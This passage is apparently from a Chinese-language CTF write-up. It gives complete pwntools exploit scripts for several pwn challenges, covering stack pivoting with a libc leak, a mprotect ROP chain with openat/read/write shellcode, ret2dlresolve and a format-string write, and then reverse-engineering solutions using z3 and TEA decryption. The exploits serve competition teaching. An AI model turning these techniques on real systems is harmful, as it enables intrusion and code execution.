system_high = (system_high-system_low+0x10000) & 0xffff  # 写入要写到高位还需要的字节
# system_high = (system_high-system_low) & 0xffff

log.info(VIO_TEXT(
    f"system_low:{hex(system_low)}  and system_high:{hex(system_high)}")
)

# 先写低位一个字节在写高位两个字节实现写三位
payload_27 = f"%{system_low}c%24$hhn%{system_high}c%25$hn".encode()
# payload_27 = f"%{system_low}c%24$hhn".encode()
print(len(payload_27))
sla(b"hell.\n", payload_27)
# payload_test = "%25$p"
# sla(b"hell.\n", payload_test)

io.interactive()

hard_pivot

只用read实现读和写,多次栈迁移板子,羊城杯pstack

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc.so.6"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43747"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *read 
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

leave_ret = 0x40127b
bss_buffer = 0x4040a0+0x500
pop_rbp_ret = 0x4011a1
pop_rdi_ret = 0x40119e
vuln_read = 0x401264


# pivot rbp
payload1 = flat(
    b'a'*(64),
    p64(bss_buffer+0x40),
    p64(vuln_read)
)
sa(b"> ", payload1)


# ROP leak
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = flat(
    {
        0x00: p64(pop_rdi_ret),
        0x08: p64(puts_got),
        0x10: p64(puts_plt),  # leak-libc
        0x18: p64(pop_rbp_ret),
        0x20: p64(bss_buffer+0x200+0x40),  # 这里是为payload3做准备
        0x28: p64(vuln_read),  # 因为开辟空间所以+0x40,这样刚好从bss_buffer+0x200开始写payload3
        0x40: p64(bss_buffer-0x8),     # 更新rbp位置,开始leak
        0x48: p64(leave_ret)         # 返回地址位置
    },
    filler=b"x",
    length=0x50
)
# test_payload = b'a'*0x40+b'b'*8+b'c'*8
se(payload2)
puts_addr = u64(rc(6).ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh = libc.search('/bin/sh\x00').__next__()

log.success(VIO_TEXT(f"puts_addr:{hex(puts_addr)}"))
log.success(VIO_TEXT(f"system_addr:{hex(system_addr)}"))


# ROP system
log.info(CLEAR_TEXT(
    f"Hey! Nan0in is really good at pivoting, let's try to call system() now!"))
ret_addr = 0x040101a
payload3 = flat(
    {
        0x0: p64(pop_rdi_ret),
        0x8: p64(binsh),
        0x10: p64(system_addr),
        0x40: p64(bss_buffer+0x200-0x8),  # 再次迁移执行payload2中布置好的ROP
        0x48: p64(leave_ret)
    },
    filler=b'x',
    length=0x50
)
se(payload3)


ia()

shellbox

沙箱

openat read write的orw可写,在哪里写?
一开始从v5=0开始检测,如果=1了直接退出,然后会8字节的写入到v4中,根据v5索引来,而如果在>=1的时候,buf中的内容刚好8字节写到返回地址以下,可以构造链子,尝试写mprotect将bss段写为可执行后写入shellcode

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = ""
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "37391"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
     b *0x401B23
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
# prev
elf = ELF(filename)
# libc=ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


pop_rdi = 0x401A40
pop_rsi = 0x401A42
pop_rdx = 0x401A44
pop_rax = 0x44bbbb
pop_rbp = 0x401889
mprotect_buf = 0x4cd000
mprotect_addr = 0x443520
syscall = 0x401268
leave_ret = 0x401ab0
bss = 0x04CEB60
ret = 0x40101a


open_at_shellcode = asm("""
    xor rax, rax
    push rax
    mov rbx, 0x67616c66   /* "flag" */
    push rbx
    mov rsi, rsp          /* rsi = &"flag" */

    /* openat(AT_FDCWD=-100, "flag", O_RDONLY=0, 0) */
    mov rdi, -100
    xor rdx, rdx          /* flags = 0 */
    xor r10, r10          /* mode = 0 */
    mov rax, 257          /* SYS_openat */
    syscall
    mov rdi, rax          /* save returned fd in rdi */

    /* read(fd, rsp, 0x100) */
    mov rsi, rsp
    mov rdx, 0x100
    xor rax, rax
    syscall

    /* write(1, rsp, 0x100) */
    mov rdi, 1
    mov rax, 1
    syscall
""")


log.info(VIO_TEXT(f"shellocde_lenth:{len(open_at_shellcode)}"))

shellcode = open_at_shellcode

# save to bss
sla(b"You have a box, fill it.\n", shellcode)

# second read,cover rip
sa(b">", b'AAAA' + p16(1))
sa(b">", p64(pop_rdi))
sa(b">", p64(mprotect_buf))
sa(b">", p64(pop_rsi))
sa(b">", p64(0x2000))  # 提权
sa(b">", p64(pop_rdx))
sa(b">", p64(7))
sa(b">", p64(mprotect_addr))
sa(b">", p64(bss))


io.interactive()

no_way_to_leak

可以去看我写的剖析re2dlresolve
这题你可以手写64位的ret2dlresolve,也可以调用pwntools的库,时间相差不是一点半点,而且其实手写64位ret2dlresolve后大部分情况下也是一个模板
在此给出两种解法

手写64位

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "ip"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x401224
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
def n64(x): return (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF


def build_fake_link_map(fake_linkmap_addr, func, base_func='puts'):
    # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
    offset = n64(libc.sym[func] - libc.sym[base_func])
# linkmap = p64(offset & (2 ** 64 - 1))#l_addr
    linkmap = p64(offset)
# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0)  # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18)  # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第 一项
# linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) #Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
    linkmap += p64(n64(elf.bss()-offset))
    linkmap += p64(0x7)  # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)  # Rela->r_addend,任意值都行
    linkmap += p64(0)  # l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
    linkmap += p64(0)  # 参考IDA上.dyamisc的结构
    # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
    linkmap += p64(elf.got[base_func] - 0x8)
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    # fake_linkmap_addr + 0x68, 对应的值的DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr)
    # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, b'A')
    # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap


read_plt = elf.plt['read']
fake_linkmap_addr = elf.bss() + 0x100
new_stack = elf.bss() + 0x880
fake_link_map = build_fake_link_map(
    fake_linkmap_addr, 'system', 'read')  # 伪造link_map
padding = 0x78
payload = b'a'*padding
payload += flat({
    0x00: next(elf.search(asm('ret'), executable=True)),
    0x08: next(elf.search(asm('pop rdi; ret'), executable=True)),
    0x10: 0,
    0x18: next(elf.search(asm('pop rsi; pop r15; ret'), executable=True)),
    0x20: fake_linkmap_addr,
    0x28: 0,
    0x30: elf.plt['read'],
    0x38: next(elf.search(asm('pop rdi; ret'), executable=True)),
    0x40: fake_linkmap_addr + 0x48,
    0x48: elf.get_section_by_name('.plt').header.sh_addr + 6,
    0x50: fake_linkmap_addr,  # struct link_map *l
    0x58: 0  # ElfW(Word) reloc_arg
})

sl(payload)
pause()
se(fake_link_map)
ia()

使用pwntools集成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc-2.31.so"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
      b *40117d
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
# prev
elf = ELF(filename)
libc = ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


offset = 112+8
read_length = 0x100
start_resolve = elf.get_section_by_name(".plt").header.sh_addr
pop_rdi = 0x040115e
pop_rsi_r15 = 0x0401241
read_plt = elf.plt['read']

rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh\x00"])

payload = flat(
    b'\x00'*offset,
    pop_rdi, 0,
    pop_rsi_r15, dlresolve.data_addr, 0,
    read_plt,
    pop_rdi, dlresolve.real_args[0],
    start_resolve, dlresolve.reloc_index
).ljust(0x100, b'\x00') + dlresolve.payload

sl(payload)
print(rop.dump())
# moectf{N0_PuT5-n0-PRintF_n0-13Ak_JUSt-rET2dl2da2a},注意远程不要patch了打

io.interactive()

后续远程

patch会修改动态内存布局(一般来说会抬高libc空间),远程不要Patch

call_it

保护,但其实SHSTK和IBT如题所说是无效的,所以我觉得这真的能算是JOP吗…
我们发现 whlie 的结束条件是由 n_gestures 控制的,但输入 6 后,n_gestures 不增加而 v2 会增 加。
如图,只限制到了7
而fgets会v2进行偏移往 talks 内写入数据,往下可以精确写到gestures从而控制gestures内容
而还有一个gift,可以将参数和函数一并传入进行执行了, +8 位置作为参数,调用 +16 位置的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "34233"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x4012d9
    b *0x40111E  
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def message(idx, content=b""):
    sla(b"Choose your gesture:", str(idx))
    if 0 < idx < 6:
        sla(b"What should I say after this gesture?", content)


gift = elf.sym['gift']
system = 0x401228
binsh_addr = elf.sym['talks']

log.info(VIO_TEXT(f"gift: {hex(gift)}"))
log.info(VIO_TEXT(f"system: {hex(system)}"))
log.info(VIO_TEXT(f"binsh_addr: {hex(binsh_addr)}"))

message(1, b'/bin/sh\x00')
for i in range(7):
    message(6)

payload = flat(
    gift, binsh_addr,
)
log.info(CLEAR_TEXT(f"payload: {payload.hex()}"))
# 前半部分写入到了rsp指针中在调用0会直接使用 rdi会写入到rax rax+8->rdi,可以写入/bin/sh\x00
message(1, payload[0:15])
message(1, p64(system))  # call ptr [rax+10h]
message(0)
# moectf{iF_I8T-3naBL3D-tHEn_YOu_caNN0t-CAptUrE-Thi5-fLaG1}

ia()

reverse

ez3

main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v3; // bl
  bool v4; // r12
  __int64 v5; // rbx
  __int64 v6; // rax
  char v8; // [rsp+Fh] [rbp-71h] BYREF
  __int64 v9; // [rsp+10h] [rbp-70h] BYREF
  __int64 v10; // [rsp+18h] [rbp-68h] BYREF
  _BYTE v11[32]; // [rsp+20h] [rbp-60h] BYREF
  _BYTE v12[40]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v13; // [rsp+68h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  printf((unsigned int)"Input your flag:\n> ", (_DWORD)argv, (_DWORD)envp);
  fflush(stdout);
  std::string::basic_string(v11);
  std::operator>><char>((std::istream *)&std::cin);
  if ( std::string::length(v11, v11) == 42 )
  {
    v3 = 0;
    v4 = 1;
    if ( (unsigned __int64)std::string::length(v11, v11) > 7 )
    {
      std::string::substr(v12, v11, 0LL, 7LL);
      v3 = 1;
      if ( !(unsigned __int8)std::operator!=<char>(v12, "moectf{") && *(_BYTE *)std::string::back(v11) == 125 )
        v4 = 0;
    }
    if ( v3 )
      std::string::~string(v12);
    if ( v4 )
    {
      puts("FORMAT ERROR!");
    }
    else
    {
      std::allocator<char>::allocator(&v8);
      v10 = std::string::end(v11);
      v5 = __gnu_cxx::__normal_iterator<char *,std::string>::operator-(&v10, 1LL);
      v9 = std::string::begin(v11);
      v6 = __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v9, 7LL);
      std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>(v12, v6, v5, &v8);
      std::string::operator=(v11, v12);
      std::string::~string(v12);
      std::allocator<char>::~allocator(&v8);
      std::string::basic_string(v12, v11);
      LOBYTE(v5) = check(v12);
      std::string::~string(v12);
      if ( (_BYTE)v5 )
      {
        puts("OK");
        puts("But I don't know what the true flag is");
      }
      else
      {
        puts("try again~");
      }
    }
  }
  else
  {
    puts("Length error!");
  }
  std::string::~string(v11);
  return 0;
}

check()函数,为主加密逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
__int64 __fastcall check(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 33; ++i )
  {
    check(std::string)::b[i] = 47806 * (*(char *)std::string::operator[](a1, i) + i);
    if ( i )
      check(std::string)::b[i] ^= check(std::string)::b[i - 1] ^ 0x114514;
    check(std::string)::b[i] %= 51966;
    if ( check(std::string)::b[i] != a[i] )
      return 0LL;
  }
  return 1LL;
}

check函数中,b[i]%51966会使得不同输入也可以产生相同输出,flag长度为42,b[i]与a[i] (34个字符)会进行比较,跟进a找到数据

alt text

check做了什么呢?实际上就是拿b[i]这个计算产生的中间值与51966取模后去跟数组a一一匹配,那么我们用一个flag数组来表示*(char *)std::string::operator[](a1, i) + i 即34哥未知字符 然后用z3约束运算求解出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from z3 import *

# Given data
a_values = [
    0x0B1B0, 0x5678, 0x7FF2, 0x0A332, 0x0A0E8, 0x364C, 0x2BD4, 0x0C8FE,
    0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0x0BE8C,
    0x8F7E, 0x35F8, 0x61AA, 0x2B4A, 0x6828, 0x0B39E, 0x0B542, 0x33EC,
    0x0C7D8, 0x448C, 0x9310, 0x8808, 0x0ADD4, 0x3CC2,
    0x796, 0x0C940, 0x4E32, 0x4E2E, 0x924A, 0x5B5C
]

s = Solver()

# 用八位位向量表示0-255的数
flag_chars = [BitVec(f'c_{i}', 8) for i in range(34)]

for c in flag_chars:
    s.add(c >= 32, c <= 126)  # 限制在ascill码大小

# 逆向代码
b = [0] * 34
for i in range(34):
    # b[i] = 47806 * (c[i] + i)
    b[i] = 47806 * (ZeroExt(24, flag_chars[i]) + i) # ZeroExt用于拓展位宽到32位模拟32位整数
    if i > 0:
        b[i] ^= (b[i-1] ^ 0x114514)
    b[i] = URem(b[i], 51966) #无符号数取模
    s.add(b[i] == a_values[i]) #约束

solutions = []
while len(solutions) < 10 and s.check() == sat:
    m = s.model()
    # 得到字符
    sol_bytes = bytes([m.eval(flag_chars[i]).as_long() for i in range(34)])
    sol_str = sol_bytes.decode('ascii') #取出字符的ascii值
    solutions.append(sol_str)
    
    s.add(Or([flag_chars[i] != ord(sol_str[i]) for i in range(34)])) #排除相同解

if solutions:
    print("Found solutions:")
    for i, sol in enumerate(solutions, 1):
        print(f"{i}. moectf{{{sol}}}")
else:
    print("No solutions found")

moectf{Y0u_Kn0w_z3_S0Iv3r_N0w_a1f2bdce4a9}

a cup of tea

是tea?找一找,一路上顺便把变量改为十六进制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
__int64 sub_1400162E0()
{
  char *v0; // rdi
  __int64 i; // rcx
  _BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
  char v4; // [rsp+20h] [rbp+0h] BYREF
  _DWORD v5[12]; // [rsp+28h] [rbp+8h] BYREF
  _DWORD v6[20]; // [rsp+58h] [rbp+38h]
  _DWORD v7[20]; // [rsp+A8h] [rbp+88h] BYREF
  _DWORD v8[20]; // [rsp+F8h] [rbp+D8h] BYREF
  char Str[64]; // [rsp+148h] [rbp+128h] BYREF
  size_t Size; // [rsp+188h] [rbp+168h]
  int j; // [rsp+1A4h] [rbp+184h]
  int v12; // [rsp+1C8h] [rbp+1A8h] BYREF
  int v13; // [rsp+1CCh] [rbp+1ACh]
  int v14; // [rsp+1E4h] [rbp+1C4h]
  int k; // [rsp+204h] [rbp+1E4h]

  v0 = &v4;
  for ( i = 130LL; i; --i )
  {
    *(_DWORD *)v0 = 0xCCCCCCCC;
    v0 += 4;
  }
  sub_140011384((__int64)&unk_140023015);
  v5[0] = 0x11451419;
  v5[1] = 0x19810114;
  v5[2] = 0x51419198;
  v5[3] = 0x10114514;
  v6[0] = 0x78C594AB;
  v6[1] = 0x22813B59;
  v6[2] = 0x472A3144;
  v6[3] = 0xF255108A;
  v6[4] = 0x45CFB34;
  v6[5] = 0x3949EA0C;
  v6[6] = 0xCB760968;
  v6[7] = 0x1559C979;
  v6[8] = 0xDEF9929D;
  v6[9] = 0x71D1AAB;
  v6[10] = 0;
  memset(v7, 0, 0x2CuLL);
  memset(v8, 0, 0x2CuLL);
  check((__int64)&unk_14001AED0);
  sub_1400113ED((__int64)&unk_14001AEE4, (__int64)Str);
  Size = j_strlen(Str);
  j_memcpy(v7, Str, Size);
  for ( j = 0; j < 5; ++j )
  {
    v12 = v7[2 * j];
    v13 = v7[2 * j + 1];
    tea((__int64)&v12, (__int64)v5);
    v8[2 * j] = v12;
    v8[2 * j + 1] = v13;
  }
  v14 = 1;
  for ( k = 0; k < 11; ++k )
  {
    if ( v8[k] != v6[k] )
    {
      v14 = 0;
      check((__int64)"You are wrong!!");
      break;
    }
  }
  if ( v14 == 1 )
    check((__int64)"Congratulations!!!!");
  sub_140011320((__int64)v3, (__int64)&unk_14001AE60);
  return 0LL;
}

加密逻辑在重命名为tea的函数里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_1400117E0(unsigned int *a1, _DWORD *a2)
{
  __int64 result; // rax
  int v3; // [rsp+24h] [rbp+4h]
  unsigned int v4; // [rsp+44h] [rbp+24h]
  unsigned int v5; // [rsp+64h] [rbp+44h]
  int i; // [rsp+A4h] [rbp+84h]

  sub_140011384(&unk_140023015);
  v3 = 0;
  v4 = *a1;
  v5 = a1[1];
  for ( i = 0; i < 32; ++i )
  {
    v3 += 0x114514;
    v4 += (a2[1] + (v5 >> 5)) ^ (v3 + v5) ^ (*a2 + 16 * v5);
    v5 += (a2[3] + (v4 >> 5)) ^ (v3 + v4) ^ (a2[2] + 16 * v4);
  }
  *a1 = v4;
  result = 4LL;
  a1[1] = v5;
  return result;
}

exp

逆向tea算法即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdint.h>

// tea,改了delta-0x114514
void tea_decrypt(uint32_t *v, uint32_t const *key) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x114514;
    uint32_t sum = delta * 32;

    for (int i = 0; i < 32; i++) {
        v1 -= (key[2] + (v0 << 4)) ^ (v0 + sum) ^ (key[3] + (v0 >> 5));
        v0 -= (key[0] + (v1 << 4)) ^ (v1 + sum) ^ (key[1] + (v1 >> 5));
        sum -= delta;
    }

    v[0] = v0;
    v[1] = v1;
}

int main() {
    uint32_t key[4] = {0x11451419, 0x19810114, 0x51419198, 0x10114514};
    uint32_t v6[11] = {
        0x78C594AB, 0x22813B59, 0x472A3144, 0xF255108A,
        0x045CFB34, 0x3949EA0C, 0xCB760968, 0x1559C979,
        0xDEF9929D, 0x071D1AAB,0x00000000
    };

    uint32_t decrypted[10];

    for (int i = 0; i < 10; i += 2) {
        uint32_t block[2] = {v6[i], v6[i+1]};
        tea_decrypt(block, key);
        decrypted[i] = block[0];
        decrypted[i+1] = block[1];
    }


    printf("Decrypted DWORDs:\n");
    for (int i = 0; i < 10; i++) {
        printf("v8[%d] = 0x%08X\n", i, decrypted[i]);
    }

    // 转换为ASCII字符串(小端序)
    printf("\nFlag:\n");
    for (int i = 0; i < 10; i++) {  // 只转换前10个DWORD
        uint32_t val = decrypted[i];
        putchar(val & 0xFF);
        putchar((val >> 8) & 0xFF);
        putchar((val >> 16) & 0xFF);
        putchar((val >> 24) & 0xFF);
    }
    printf("\n");

    return 0;
}

flower

关键在于如何去除花指令

alt text

首先在这里存在花指令
这里会始终跳转到label+1的随机落在某条指令和jz+jnz的组合使得出现无效调用的指令流情况,所以我们先把这三条都nop掉,但是之后还是不能反汇编,怎么办呢?我们需要重新定义总的solve函数,因为原来存在这条花指令分支,现在则直接跳过了,中间断开了给它直接连起来
汇编中看到两条分支的终点都跳转到了检查canary的地方,我们就设置在第二个分支末尾处为solve()的重点就可以了
alt text

然后我们就能反汇编了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// positive sp value has been detected, the output may be wrong!
__int64 __fastcall solve()
{
  char v0; // r12
  __int64 v1; // rax
  __int64 v2; // rbx
  __int64 v3; // rax
  char *v4; // rax
